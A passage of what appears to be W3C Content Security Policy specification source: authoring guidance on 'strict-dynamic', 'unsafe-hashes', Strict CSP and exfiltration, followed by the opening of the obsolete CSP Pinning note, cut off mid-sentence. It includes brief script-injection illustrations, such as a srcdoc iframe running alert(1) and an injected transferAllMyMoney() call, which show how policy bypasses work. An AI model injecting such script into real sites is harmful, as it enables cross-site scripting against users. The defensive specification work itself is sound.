id=\"security-secure-upgrades\">Secure Upgrades</h3>\n\n  To mitigate one variant of history-scanning attacks like Yan Zhu's\n  <a href=\"http://diracdeltas.github.io/sniffly/\">Sniffly</a>, CSP will not allow pages to lock\n  themselves into insecure URLs via policies like `script-src http://example.com`. As described in\n  [[#match-schemes]], the scheme portion of a source expression will always allow upgrading to a\n  secure variant.\n\n  <h3 id=\"security-inherit-csp\">\n    CSP Inheriting to avoid bypasses\n  </h3>\n\n  Documents loaded from <a>local schemes</a> will inherit a copy of the\n  policies in the source document. The goal is to ensure that a page can't\n  bypass its policy by embedding a frame or opening a new window containing\n  content that is entirely under its control (`srcdoc` documents, `blob:` or `data:`\n  URLs, `about:blank` documents that can be manipulated via `document.write()`, etc).\n\n  <div class=\"example\">\n    If this would not happen a page could execute inline scripts even without\n    `unsafe-inline` in the page's execution context by simply embedding a `srcdoc`\n    `iframe`.\n    <pre highlight=\"html\">\n      &lt;iframe srcdoc=\"&lt;script&gt;alert(1);&lt;/script&gt;\"&gt;&lt;/iframe&gt;\n    </pre>\n  </div>\n\n  Note that we create a copy of the <a for=\"global object\">CSP list</a> which\n  means that the new {{Document}}'s <a for=\"global object\">CSP list</a> is a\n  snapshot of the relevant policies at its creation time. Modifications in the\n  <a for=\"global object\">CSP list</a> of the new {{Document}} won't affect the\n  source {{Document}}'s <a for=\"global object\">CSP list</a> or vice-versa.\n\n  <div class=\"example\">\n    In the example below the image inside the iframe will not load because it is\n    blocked by the policy in the `meta` tag of the iframe. The image outside the\n    iframe will load (assuming the main page policy does not block it) since the\n    policy inserted in the iframe will not affect it.\n    <pre highlight=\"html\">\n      &lt;iframe srcdoc='&lt;meta http-equiv=\"Content-Security-Policy\" content=\"img-src example.com;\"&gt;\n                         &lt;img src=\"not-example.com/image\"&gt;'&gt;&lt;/iframe&gt;\n\n      &lt;img src=\"not-example.com/image\"&gt;\n    </pre>\n  </div>\n\n</section>\n\n<!-- Big text: Authoring -->\n<section>\n  <h2 id=\"authoring-considerations\">Authoring Considerations</h2>\n\n  <h3 id=\"multiple-policies\">\n    The effect of multiple policies\n  </h3>\n\n  <em>This section is not normative.</em>\n\n  The above sections note that when multiple policies are present, each must be\n  enforced or reported, according to its type. An example will help clarify how\n  that ought to work in practice. The behavior of an `XMLHttpRequest`\n  might seem unclear given a site that, for whatever reason, delivered the\n  following HTTP headers:\n\n  <div class=\"example\">\n    <pre>\n      <a http-header>Content-Security-Policy</a>: default-src 'self' http://example.com http://example.net;\n                               connect-src 'none';\n      <a http-header>Content-Security-Policy</a>: connect-src http://example.com/;\n                               script-src http://example.com/\n    </pre>\n  </div>\n\n  Is a connection to example.com allowed or not? The short answer is that the\n  connection is not allowed. Enforcing both policies means that a potential\n  connection would have to pass through both unscathed. Even though the second\n  policy would allow this connection, the first policy contains\n  `connect-src 'none'`, so its enforcement blocks the connection. The\n  impact is that adding additional policies to the list of policies to enforce\n  can <em>only</em> further restrict the capabilities of the protected resource.\n\n  To demonstrate that further, consider a script tag on this page. The first\n  policy would lock scripts down to `'self'`, `http://example.com` and\n  `http://example.net` via the `default-src` directive. The second, however,\n  would only allow script from `http://example.com/`. Script will only load if\n  it meets both policy’s criteria: in this case, the only origin that can match\n  is `http://example.com`, as both policies allow it.\n\n  <h3 id=\"strict-dynamic-usage\">\n    Usage of \"`'strict-dynamic'`\"\n  </h3>\n\n  <em>This section is not normative.</em>\n\n  Host- and path-based policies are tough to get right, especially on sprawling origins like CDNs.\n  The <a href=\"https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it%27s-CSP!%22#107-bytes\">solutions\n  to Cure53's H5SC Minichallenge 3: \"Sh*t, it's CSP!\"</a> [[H5SC3]] are good examples of the\n  kinds of bypasses which such policies can enable, and though CSP is capable of mitigating these\n  bypasses via exhaustive declaration of specific resources, those lists end up being brittle,\n  awkward, and difficult to implement and maintain.\n\n  The \"<a grammar>`'strict-dynamic'`</a>\" source expression aims to make Content\n  Security Policy simpler to deploy for existing applications who have a high\n  degree of confidence in the scripts they load directly, but low confidence in\n  their ability to provide a reasonable list of resources to load up front.\n\n  If present in a <a>`script-src`</a> or <a>`default-src`</a> directive, it has\n  two main effects:\n\n  1.  <a grammar>host-source</a> and <a grammar>scheme-source</a>\n      expressions, as well as the \"<a grammar>`'unsafe-inline'`</a>\"\n      and \"<a grammar>`'self'`</a> <a grammar>keyword-source</a>s will be\n      ignored when loading script.\n\n      <a grammar>hash-source</a> and <a grammar>nonce-source</a> expressions\n      will be honored.\n\n  2.  Script requests which are triggered by non-<a>\"parser-inserted\"</a>\n      <{script}> elements are allowed.\n\n  The first change allows you to deploy \"<a grammar>`'strict-dynamic'`</a>\" in a\n  backwards compatible way, without requiring user-agent sniffing: the policy\n  `'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic'` will act like\n  `'unsafe-inline' https:` in browsers that support CSP1, `https:\n  'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV'` in browsers that support CSP2, and\n  `'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'` in browsers that\n  support CSP3.\n\n  The second allows scripts which are given access to the page via nonces or\n  hashes to bring in their dependencies without adding them explicitly to the\n  page's policy.\n\n  <div class=\"example\">\n    Suppose MegaCorp, Inc. deploys the following policy:\n\n    <pre>\n      <a http-header>Content-Security-Policy</a>: <a>script-src</a> 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' <a grammar>'strict-dynamic'</a>\n    </pre>\n\n    And serves the following HTML with that policy active:\n\n    <pre highlight=\"html\">\n      ...\n      &lt;script src=\"https://cdn.example.com/script.js\" nonce=\"DhcnhD3khTMePgXwdayK9BsMqXjhguVV\" &gt;&lt;/script&gt;\n      ...\n    </pre>\n\n    This will generate a request for `https://cdn.example.com/script.js`, which\n    will not be blocked because of the matching <{htmlsvg-global/nonce}> attribute.\n\n    If `script.js` contains the following code:\n\n    <pre highlight=\"javascript\">\n      var s = document.createElement('script');\n      s.src = 'https://othercdn.not-example.net/dependency.js';\n      document.head.appendChild(s);\n\n      document.write('&lt;scr' + 'ipt src=\"/sadness.js\"&gt;&lt;/scr' + 'ipt&gt;');\n    </pre>\n\n    `dependency.js` will load, as the <{script}> element created by\n    `createElement()` is not <a>\"parser-inserted\"</a>.\n\n    `sadness.js` will <em>not</em> load, however, as `document.write()` produces\n    <{script}> elements which are <a>\"parser-inserted\"</a>.\n  </div>\n\n  Note: With <a grammar>'strict-dynamic'</a>, scripts created at runtime will be\n  allowed to execute. If the location of such a script can be controlled by an\n  attacker, the policy will then allow the loading of arbitrary scripts. Developers\n  that use <a grammar>'strict-dynamic'</a> in their policy should audit the uses\n  of non-parser-inserted APIs and ensure that they are not invoked with potentially\n  untrusted data. This includes applications or frameworks that tend to determine\n  script locations at runtime.\n\n  <section>\n    <h3 id=\"unsafe-hashes-usage\">\n      Usage of \"`'unsafe-hashes'`\"\n    </h3>\n\n    <em>This section is not normative.</em>\n\n    Legacy websites and websites with legacy dependencies might find it difficult\n    to entirely externalize event handlers. These sites could enable such handlers\n    by allowing `'unsafe-inline'`, but that's a big hammer with a lot of\n    associated risk (and cannot be used in conjunction with nonces or hashes).\n\n    The \"<a grammar>`'unsafe-hashes'`</a>\" source expression aims to make\n    CSP deployment simpler and safer in these situations by allowing developers\n    to enable specific handlers via hashes.\n\n    <div class=\"example\">\n      MegaCorp, Inc. can't quite get rid of the following HTML on anything\n      resembling a reasonable schedule:\n\n      <pre highlight=\"html\">\n        &lt;button id=\"action\" onclick=\"doSubmit()\"&gt;\n      </pre>\n\n      Rather than reducing security by specifying \"`'unsafe-inline'`\", they decide to use\n      \"`'unsafe-hashes'`\" along with a hash source expression corresponding to `doSubmit()`, as follows:\n\n      <pre>\n        <a http-header>Content-Security-Policy</a>:  <a>script-src</a> <a grammar>'unsafe-hashes'</a> 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='\n      </pre>\n    </div>\n\n    The capabilities `'unsafe-hashes'` provides is useful for legacy sites, but should be\n    avoided for modern sites. In particular, note that hashes allow a particular script to execute,\n    but do not ensure that it executes in the way a developer intends. If an interesting capability\n    is exposed as an inline event handler (say `<a onclick=\"transferAllMyMoney()\">Transfer</a>`),\n    then that script becomes available for an attacker to inject as\n    `<script>transferAllMyMoney()</script>`. Developers should be careful to balance the risk of\n    allowing specific scripts to execute against the deployment advantages that allowing inline\n    event handlers might provide.\n  </section>\n\n  <section>\n    <h3 id=\"external-hash\">\n      Allowing external JavaScript via hashes\n    </h3>\n\n    <em>This section is not normative.</em>\n\n    In [[CSP2]], hash <a>source expressions</a> could only match inlined\n    script, but now that Subresource Integrity [[SRI]] is widely deployed,\n    we can expand the scope to enable externalized JavaScript as well.\n\n    If multiple sets of integrity metadata are specified for a <{script}>, the\n    request will match a policy's <a grammar>hash-source</a>s if and only if\n    <em>each</em> item in a <{script}>'s integrity metadata matches the policy.\n\n    Note: The CSP spec specifies that the contents of an inline <{script}> element\n    or event handler needs to be encoded using <a>UTF-8 encode</a> before computing\n    its hash. [[SRI]] computes the hash on the raw resource that is being\n    fetched instead. This means that it is possible for the hash needed to allow\n    an inline script block to be different from the hash needed to allow an\n    external script even if they have identical contents.\n\n    <div class=\"example\">\n      MegaCorp, Inc. wishes to allow two specific scripts on a page in a way\n      that ensures that the content matches their expectations. They do so by\n      setting the following policy:\n\n      <pre>\n        <a http-header>Content-Security-Policy</a>: script-src 'sha256-abc123' 'sha512-321cba'\n      </pre>\n\n      In the presence of that policy, the following <{script}> elements would be\n      allowed to execute because they contain only integrity metadata that matches\n      the policy:\n\n      <pre highlight=\"html\">\n        &lt;script integrity=\"sha256-abc123\" ...&gt;&lt;/script&gt;\n        &lt;script integrity=\"sha512-321cba\" ...&gt;&lt;/script&gt;\n        &lt;script integrity=\"sha256-abc123 sha512-321cba\" ...&gt;&lt;/script&gt;\n      </pre>\n\n      While the following <{script}> elements would not execute because they\n      contain valid metadata that does not match the policy (even though other\n      metadata does match):\n\n      <pre highlight=\"html\">\n        &lt;script integrity=\"<b>sha384-xyz789</b>\" ...&gt;&lt;/script&gt;\n        &lt;script integrity=\"<b>sha384-xyz789</b> sha512-321cba\" ...&gt;&lt;/script&gt;\n        &lt;script integrity=\"sha256-abc123 <b>sha384-xyz789</b> sha512-321cba\" ...&gt;&lt;/script&gt;\n      </pre>\n\n      Metadata that is not recognized (either because it's entirely invalid, or\n      because it specifies a not-yet-supported hashing algorithm) does not affect\n      the behavior described here. That is, the following elements would be\n      allowed to execute in the presence of the above policy, as the additional\n      metadata is invalid and therefore wouldn't allow a script whose content\n      wasn't listed explicitly in the policy to execute:\n\n      <pre highlight=\"html\">\n        &lt;script integrity=\"sha256-abc123 <b>sha1024-abcd</b>\" ...&gt;&lt;/script&gt;\n        &lt;script integrity=\"sha512-321cba <b>entirely-invalid</b>\" ...&gt;&lt;/script&gt;\n        &lt;script integrity=\"sha256-abc123 <b>not-a-hash-at-all</b> sha512-321cba\" ...&gt;&lt;/script&gt;\n      </pre>\n    </div>\n  </section>\n\n  <section>\n    <h3 id=\"strict-csp\">\n      Strict CSP\n    </h3>\n\n    <em>This section is not normative.</em>\n\n    Deployment of an effective CSP against XSS is a challenge (as described in\n    <a href=\"https://dl.acm.org/doi/10.1145/2976749.2978363\">CSP Is Dead, Long\n    Live CSP!</a> [[LONG-LIVE-CSP]]). However, enforcing the following set of CSP\n    directives has been identified as an effective and deployable mitigation\n    against XSS.\n\n    1.  <em>script-src</em>: Only use <em>nonce</em> <a grammar>source-expression</a>\n        and/or <em>hash</em> <a grammar>source-expression</a> with the\n        \"<a grammar>'strict-dynamic'</a>\" <a grammar>keyword-source</a>.\n\n        Note: While \"<a grammar>'strict-dynamic'</a>\" allows ease of deployment (as\n        described in [[#strict-dynamic-usage]]), it should be avoided when possible.\n\n        Note: For backwards compatibility, it is recommended to specify <em>https:</em>\n        <a grammar>scheme-source</a> with \"<a grammar>'strict-dynamic'</a>\".\n\n    2.  <em>base-uri</em>: Specify a value of either \"<a grammar>'self'</a>\" or \"<a grammar>'none'</a>\".\n\n    A CSP that meets the above criteria is called Strict CSP. Further details\n    are discussed in [[WEBDEV-STRICTCSP]].\n\n    <div class=\"example\">\n      The following are examples of Strict CSP:\n\n      Nonce-based Strict CSP:\n      <pre>\n        <a http-header>Content-Security-Policy</a>: script-src 'strict-dynamic' 'nonce-{RANDOM}'; base-uri 'self';\n      </pre>\n\n      Hash-based Strict CSP:\n      <pre>\n        <a http-header>Content-Security-Policy</a>: script-src 'strict-dynamic' 'sha256-{HASHED_INLINE_SCRIPT}'; base-uri 'self';\n      </pre>\n    </div>\n  </section>\n  <section>\n    <h3 id=\"exfiltration\">\n      Exfiltration\n    </h3>\n\n    <em>This section is not normative.</em>\n\n    Data exfiltration can occur when the contents of the request, such as the URL, contain\n    information about the user or page that should be restricted and not shared.\n\n    Content Security Policy can mitigate data exfiltration if used to create allowlists of servers\n    with which a page is allowed to communicate. Note that a policy which lacks the <a>default-src</a>\n    directive cannot mitigate exfiltration, as there are kinds of requests that are not addressable\n    through a more-specific directive (<{link/rel/prefetch}>, for example). [[!HTML]]\n\n    <div class=\"example\">\n      In the following example, a policy with draconian restrictions on images, fonts, and scripts\n      can still allow data exfiltration via other request types (`fetch()`, <{link/rel/prefetch}>, etc):\n      [[!HTML]]\n\n      <pre>\n        <a http-header>Content-Security-Policy</a>: img-src 'none'; script-src 'none'; font-src 'none'\n      </pre>\n      \n      Supplementing this policy with `default-src 'none'` would improve the page's robustness\n      against this kind of attack.\n    </div>\n\n    <div class=\"example\">\n      In the following example, the <a>default-src</a> directive appears to protect from\n      exfiltration, however the <a>img-src</a> directive relaxes this restriction by using a\n      wildcard, which allows data exfiltration to arbitrary endpoints. A policy's exfiltration\n      mitigation ability depends upon the least-restrictive directive allowlist:\n\n      <pre>\n        <a http-header>Content-Security-Policy</a>: default-src 'none'; img-src *\n      </pre>\n    </div>\n  </section>\n</section>\n\n\n\n<section>\n  <h2 id=\"implementation-considerations\">Implementation Considerations</h2>\n\n  <h3 id=\"extensions\">Vendor-specific Extensions and Addons</h3>\n\n  <a for=\"/\">Policy</a> enforced on a resource SHOULD NOT interfere with the operation\n  of user-agent features like addons, extensions, or bookmarklets. These kinds\n  of features generally advance the user's priority over page authors, as\n  espoused in [[HTML-DESIGN]].\n\n  Moreover, applying CSP to these kinds of features produces a substantial\n  amount of noise in violation reports, significantly reducing their value to\n  developers.\n\n  Chrome, for example, excludes the `chrome-extension:` scheme from CSP checks,\n  and does some work to ensure that extension-driven injections are allowed,\n  regardless of a page's policy.\n</section>\n\n<!-- Big Text: IANA -->\n<section>\n  <h2 id=\"iana-considerations\">IANA Considerations</h2>\n\n  <h3 id=\"iana-registry\">\n    Directive Registry\n  </h3>\n\n  The Content Security Policy Directive registry should be updated with the\n  following directives and references [[!RFC7762]]:\n\n  :   <a>`base-uri`</a>\n  ::  This document (see [[#directive-base-uri]])\n  :   <a>`child-src`</a>\n  ::  This document (see [[#directive-child-src]])\n  :   <a>`connect-src`</a>\n  ::  This document (see [[#directive-connect-src]])\n  :   <a>`default-src`</a>\n  ::  This document (see [[#directive-default-src]])\n  :   <a>`font-src`</a>\n  ::  This document (see [[#directive-font-src]])\n  :   <a>`form-action`</a>\n  ::  This document (see [[#directive-form-action]])\n  :   <a>`frame-ancestors`</a>\n  ::  This document (see [[#directive-frame-ancestors]])\n  :   <a>`frame-src`</a>\n  ::  This document (see [[#directive-frame-src]])\n  :   <a>`img-src`</a>\n  ::  This document (see [[#directive-img-src]])\n  :   <a>`manifest-src`</a>\n  ::  This document (see [[#directive-manifest-src]])\n  :   <a>`media-src`</a>\n  ::  This document (see [[#directive-media-src]])\n  :   <a>`object-src`</a>\n  ::  This document (see [[#directive-object-src]])\n  :   <a>`report-uri`</a>\n  ::  This document (see [[#directive-report-uri]])\n  :   <a>`report-to`</a>\n  ::  This document (see [[#directive-report-to]])\n  :   <a>`sandbox`</a>\n  ::  This document (see [[#directive-sandbox]])\n  :   <a>`script-src`</a>\n  ::  This document (see [[#directive-script-src]])\n  :   <a>`script-src-attr`</a>\n  ::  This document (see [[#directive-script-src-attr]])\n  :   <a>`script-src-elem`</a>\n  ::  This document (see [[#directive-script-src-elem]])\n  :   <a>`style-src`</a>\n  ::  This document (see [[#directive-style-src]])\n  :   <a>`style-src-attr`</a>\n  ::  This document (see [[#directive-style-src-attr]])\n  :   <a>`style-src-elem`</a>\n  ::  This document (see [[#directive-style-src-elem]])\n  :   <a>`worker-src`</a>\n  ::  This document (see [[#directive-worker-src]])\n\n  <h3 id=\"iana-headers\">\n    Headers\n  </h3>\n\n  The permanent message header field registry should be updated\n  with the following registrations: [[!RFC3864]]\n\n  <h4 id=\"iana-csp\">Content-Security-Policy</h4>\n\n  <dl>\n    <dt>Header field name</dt>\n    <dd>Content-Security-Policy</dd>\n\n    <dt>Applicable protocol</dt>\n    <dd>http</dd>\n\n    <dt>Status</dt>\n    <dd>standard</dd>\n\n    <dt>Author/Change controller</dt>\n    <dd>W3C</dd>\n\n    <dt>Specification document</dt>\n    <dd>This specification (See [[#csp-header]])</dd>\n  </dl>\n\n  <h4 id=\"iana-cspro\">Content-Security-Policy-Report-Only</h4>\n\n  <dl>\n    <dt>Header field name</dt>\n    <dd>Content-Security-Policy-Report-Only</dd>\n\n    <dt>Applicable protocol</dt>\n    <dd>http</dd>\n\n    <dt>Status</dt>\n    <dd>standard</dd>\n\n    <dt>Author/Change controller</dt>\n    <dd>W3C</dd>\n\n    <dt>Specification document</dt>\n    <dd>This specification (See [[#cspro-header]])</dd>\n  </dl>\n</section>\n\n<section>\n  <h2 id=\"acknowledgements\">Acknowledgements</h2>\n\n  Lots of people are awesome. For instance:\n\n  * Mario and all of Cure53.\n\n  * Artur Janc, Michele Spagnuolo, Lukas Weichselbaum, Jochen Eisinger, and the\n    rest of Google's CSP Cabal.\n</section>\n"
  },
  {
    "path": "pinning/index.bs",
    "content": "<h1>Content Security Policy Pinning</h1>\n<pre class=\"metadata\">\nStatus: NOTE\nGroup: WebAppSec\nED: https://w3c.github.io/webappsec-csp/pinning/\nTR: http://www.w3.org/TR/csp-pinning/\nShortname: csp-pinning\nWarning: obsolete\nLevel: 1\nEditor: Mike West 56384, Google Inc., mkwst@google.com\nAbstract: \n  This Note provides a historical reference for a proposed mechanism to \n\tallow authors to instruct user agents to remember (\"pin\") and\n\tenforce a Content Security Policy for a set of hosts for a period of time. \nIndent: 2\nMarkup Shorthands: css off\nVersion History: https://github.com/w3c/webappsec-csp/commits/master/pinning/index.src.html\nBoilerplate: omit conformance, omit feedback-header\n!Participate: <a href=\"https://github.com/w3c/webappsec-csp/issues/new?title=PINNING:%20\">File an issue</a> (<a href=\"https://github.com/w3c/webappsec-csp/issues\">open issues</a>)\n</pre>\n\n<pre class=\"anchors\">\nurlPrefix: https://w3c.github.io/webappsec/specs/content-security-policy/; spec: CSP\n  type: dfn\n    text: security policy\n    text: policy-token; url: policy_token\n    text: parse the policy\n    text: policy syntax\n    text: content-security-policy; url: content_security_policy\n    text: Delivery via meta element; url: delivery-html-meta-element\n    text: send violation reports\n    url: enforce\n      text: enforce\n      text: enforced\n    url: monitor\n      text: monitor\n      text: monitored\nurlPrefix: http://www.w3.org/TR/dom/; spec: DOM\n  type: interface\n    text: Document; url: interface-document\nurlPrefix: https://fetch.spec.whatwg.org/; spec: FETCH\n  type: dfn\n    text: parse header; url: concept-header-parse\n    text: header list; url: concept-response-header-list\n    text: fetching\n  type: interface\n    text: Response\nurlPrefix: http://www.w3.org/TR/html5/document-metadata.html; spec: HTML5\n  type: element\n    text: meta; url: the-meta-element\nurlPrefix: https://w3c.github.io/webappsec/specs/mixedcontent/; spec: MIX\n  type: dfn\n    text: a priori insecure url\n    text: a priori insecure origin\nurlPrefix: https://url.spec.whatwg.org/; spec: URL\n  type: dfn\n    text: url\n    text: host; url: concept-url-host\n    text: origin of a url; url: concept-url-origin\n    text: ipv6 address; url: concept-ipv6\nurlPrefix: http://www.w3.org/TR/workers/; spec: WORKERS\n  type: interface\n    text: Worker\nurlPrefix: https://tools.ietf.org/html/rfc6454; spec: RFC6454\n  type: dfn\n    text: origin; url: section-3.2\nurlPrefix: https://tools.ietf.org/html/rfc6797; spec: RFC6797\n  type: dfn\n    text: known HSTS host domain name matching; url: section-8.2\n    text: superdomain match; url: section-8.2\n    text: congruent match; url: section-8.2\nurlPrefix: https://tools.ietf.org/html/rfc7231; spec: RFC7231\n  type: dfn\n    text: resource; url: section-2\n    text: resource representation; url: section-3\n</pre>\n\n<!-- BIBLIOGRAPHY -->\n<pre class=\"biblio\">\n{\n  \"CSP\": {\n    \"authors\": [ \"Mike West\", \"Dan Veditz\" ],\n    \"title\": \"Content Security Policy\",\n    \"href\": \"https://w3c.github.io/webappsec-csp/\",\n    \"status\": \"WD\",\n    \"publisher\": \"W3C\"\n  },\n  \"PKP\": {\n    \"authors\": [ \"Chris Evans\", \"Chris Palmer\", \"Ryan Sleevi\" ],\n    \"title\": \"Public Key Pinning Extension for HTTP\",\n    \"href\": \"https://tools.ietf.org/html/draft-ietf-websec-key-pinning\",\n    \"publisher\": \"IETF\",\n    \"status\": \"Draft\"\n  },\n  \"SECURE-CONTEXTS\": {\n    \"authors\": [ \"Mike West\", \"Yan Zhu\" ],\n    \"title\": \"Secure Contexts\",\n    \"href\": \"https://w3c.github.io/webappsec-secure-contexts/\"\n  }\n}\n</pre>\n\n<!-- NOTE STATUS -->\n<div boilerplate=\"status\">\n\t<strong>\n\t\tWork on this document has been discontinued and it should not be\n\t\treferenced or used as a basis for implementation.\n\t</strong>\n</div>\n\n<!--\n████ ██    ██ ████████ ████████   ███████ \n ██  ███   ██    ██    ██     ██ ██     ██\n ██  ████  ██    ██    ██     ██ ██     ██\n ██  ██ ██ ██    ██    ████████  ██     ██\n ██  ██  ████    ██    ██   ██   ██     ██\n ██  ██   ███    ██    ██    ██  ██     ██\n████ ██    ██    ██    ██     ██  ███████ \n-->\n<section>\n  <h2 id=\"intro\">Introduction</h2>\n\n  <em>This section is not normative.</em>\n\n  Content Security Policy [[!CSP]] defines a mechanism through which authors\n  can manipulate the security properties of a given resource, providing the\n  ability to mitigate the risk of a broad class of content-injection attacks.\n  CSP, however, can only protect pages for which it is explicitly defined,\n  which means that authors need to ensure that they're delivering a reasonable\n  policy for <em>every</em> page on their origin in order to have confidence\n  that a particular set of restrictions will be consistently applied.\n\n  For example, it's often the case that generic error-handling pages are\n  constructed differently than \"real\" application pages. They're easy to forget\n  when auditing the security headers set for an origin, and can offer attackers\n  a foot in the door if they contain injection vectors.\n\n  CSP Pinning attempts to address this concern by allowing authors to \"pin\" a\n  baseline policy to an application's host. Conceptually, this is quite similar\n  to the approach taken by Strict Transport Security [[RFC6797]] and Public Key\n  Pinning [[PKP]]: we define a new header,\n  <code><a>Content-Security-Policy-Pin</a></code> which instructs a user agent\n  to remember a baseline policy that will be enforced for any document and\n  worker delivered by an application that doesn't come with its own\n  <code>Content-Security-Policy</code> header.\n\n  <h3 id=\"use-cases\">Use Cases</h3>\n\n  <code>example.com</code> has a number of applications running on the same\n  origin; each has a specific set of resources it needs to load, so a single\n  Content Security Policy would become unwieldy for the whole set of resources.\n  Moreover, the admins aren't exactly sure they have a clear understanding of\n  all the applications running on subdomains; the marketing department went a\n  bit wild with branded partnerships a year or two back.\n\n  After doing an audit of existing code, they have a good feel for the needs\n  of individual applications, and give each a suitable policy. They decide to\n  err on the side of caution, and pin a restrictive policy for pages they didn't\n  catch:\n\n  <div class=\"example\">\n    <code>https://example.com/application1/</code> delivers the following HTTP\n    response headers:\n\n    <pre>\n      Content-Security-Policy-Pin: <a>max-age</a>: 10886400;\n                                   <a>includeSubDomains</a>;\n                                   default-src https:;\n                                   form-action 'none';\n                                   frame-ancestors 'none';\n                                   referrer no-referrer;\n                                   report-uri /csp-endpoint/pinned\n      Content-Security-Policy: script-src https://application1.cdn.com;\n                               style-src https://application1.cdn.com;\n                               connect-src 'self';\n                               form-action 'self'\n    </pre>\n\n    While <code>https://example.com/application2/</code> delivers the following\n    HTTP response headers:\n\n    <pre>\n      Content-Security-Policy-Pin: <a>max-age</a>: 10886400;\n                                   <a>includeSubDomains</a>;\n                                   default-src https:;\n                                   form-action 'none';\n                                   frame-ancestors 'none';\n                                   referrer no-referrer;\n                                   report-uri /csp-endpoint/pinned\n      Content-Security-Policy: script-src https://application2.cdn.com;\n                               style-src https://application2.cdn.com;\n    </pre>\n\n    Meanwhile, they've forgotten about the coincidentally well-named\n    <code>https://forgotten-partnership.example.com/</code>. It doesn't send\n    any CSP headers at all, and yet, it is still protected by the pinned policy\n    for any users who have visited either Application 1 or Application 2.\n  </div>\n</section>\n\n<!--\n████████  ████████ ████████ ████ ██    ██ ████ ████████ ████  ███████  ██    ██  ██████ \n██     ██ ██       ██        ██  ███   ██  ██     ██     ██  ██     ██ ███   ██ ██    ██\n██     ██ ██       ██        ██  ████  ██  ██     ██     ██  ██     ██ ████  ██ ██      \n██     ██ ██████   ██████    ██  ██ ██ ██  ██     ██     ██  ██     ██ ██ ██ ██  ██████ \n██     ██ ██       ██        ██  ██  ████  ██     ██     ██  ██     ██ ██  ████       ██\n██     ██ ██       ██        ██  ██   ███  ██     ██     ██  ██     ██ ██   ███ ██    ██\n████████  ████████ ██       ████ ██    ██ ████    ██    ████  ███████  ██    ██  ██████ \n-->\n<section>\n  <h2 id=\"key-concepts\">Key Concepts and Terminology</h2>\n\n  <h3 id=\"terms-defined-here\">Terms defined by this specification</h3>\n\n  <dl>\n    <dt>\n      <dfn export local-lt=\"pinned policy\">\n        pinned security policy\n      </dfn>\n    </dt>\n    <dd>\n      A <a>security policy</a> that is enforced for resources\n      delivered from a <a>protected host</a> without their own policy.\n      The pinned policy's properties are defined in [[#policy-delivery]].\n    </dd>\n\n    <dt><dfn>pinned policy cache</dfn></dt>\n    <dd>\n      In order to persistently <a>enforce</a> policy for an origin, the user\n      agent caches the following details about each <a>pinned policy</a>:\n\n      <ol>\n        <li>\n          The <dfn>protected host</dfn>: a hostname to which the policy applies\n          (e.g. <code>example.com</code>)\n        </li>\n        <li>\n          <dfn>subdomains included</dfn>: <code>true</code> if\n          <code><a>includeSubDomains</a></code> is asserted, <code>false</code>\n          otherwise.\n        </li>\n        <li>\n          The <dfn>policy expiration date</dfn>: the moment at which a pinned\n          policy is no longer applicable\n        </li>\n        <li>\n          The <dfn>policy directive set</dfn>: a set of Content Security Policy\n          directives [[!CSP]] that the user agent MUST apply, according to its\n          <a>mode</a>, for each {{Document}} and {{Worker}} served from \n          <a>protected host</a>, (and, potentially, its subdomains)\n          that does not provide its own policy.\n        </li>\n        <li>\n          <dfn>mode</dfn>: <code>monitor</code> if the <a>policy directive\n          set</a> is to be <a>monitored</a>, <code>enforce</code> if the\n          <a>policy directive set</a> is to be <a>enforced</a>.\n        </li>\n      </ol>\n    </dd>\n  </dl>\n\n  The Augmented Backus-Naur Form (ABNF) notation used in [[#policy-delivery]]\n  is specified in RFC5234. [[!ABNF]]\n</section>\n\n<!--\n████████  ████████ ██       ████ ██     ██ ████████ ████████  ██    ██\n██     ██ ██       ██        ██  ██     ██ ██       ██     ██  ██  ██\n██     ██ ██       ██        ██  ██     ██ ██       ██     ██   ████\n██     ██ ██████   ██        ██  ██     ██ ██████   ████████     ██\n██     ██ ██       ██        ██   ██   ██  ██       ██   ██      ██\n██     ██ ██       ██        ██    ██ ██   ██       ██    ██     ██\n████████  ████████ ████████ ████    ███    ████████ ██     ██    ██\n-->\n<section>\n  <h2 id=\"policy-delivery\">Pinned Policy Delivery</h2>\n\n  A server MAY instruct a user agent to pin a single <a>security policy</a> by\n  sending either a <code><a>Content-Security-Policy-Pin</a></code> or\n  <code><a>Content-Security-Policy-Report-Only-Pin</a></code> HTTP response\n  header field along with a resource. [[#policy-processing]] defines the user\n  agent's behavior when it receives such a response.\n\n  Once a policy is pinned, it will be either <a>enforced</a> or <a>monitored</a>\n  as specified for any resource that doesn't <a>enforce</a> or <a>monitor</a>\n  its own policy.\n\n  Note: Pinned policies are delivered <em>only</em> via HTTP header fields; no\n  <a element>meta</a> element delivery mechanism is defined. Moreover, pinned\n  policies override policies delivered via <a element>meta</a> elements. See\n  [[#pins-override-meta]] for authoring guidelines.\n\n  <section>\n    <h3 id=\"content-security-policy-pin-header-field\">\n      <code>Content-Security-Policy-Pin</code> Header Field\n    </h3>\n\n    The <code><dfn export>Content-Security-Policy-Pin</dfn></code> header field\n    is the mechanism for delivering a pinned policy that the user agent MUST\n    <a>enforce</a> for any resource which is not delivered with a\n    <code>Content-Security-Policy</code> header (as described in the\n    [[#apply-pinned-policy]] algorithm).\n    \n    The ABNF grammar is as follows:\n\n    <pre>\n      \"Content-Security-Policy-Pin:\" 1#&lt;<a lt=\"policy-token\">policy-token production from CSP, Section 4.1</a>&gt;\n    </pre>\n\n    Pinning a <a>security policy</a> is a somewhat dangerous operation, and\n    requires some reasonable expectation that the pinning is in fact desired by\n    a particular <a>origin</a>'s owner. To that end, a server MUST NOT send a\n    <code><a>Content-Security-Policy-Pin</a></code> header with a\n    <a>resource</a> delivered from an <a><i lang=\"la\">a priori</i> insecure\n    URL</a>. The threat is discussed in more detail in [[#hostile-pinning]].\n\n    Note: This means that pinning is only practically available over HTTPS.\n    This is intentional, as pinning is a powerful feature that ought to be\n    limited to secure contexts [[SECURE-CONTEXTS]].\n\n    A server MUST NOT send more than one HTTP header field named\n    <code>Content-Security-Policy-Pin</code> with a given <a>resource\n    representation</a>.\n\n    A server SHOULD send a <code>Content-Security-Policy-Pin</code> with every\n    <a>resource representation</a> in order to 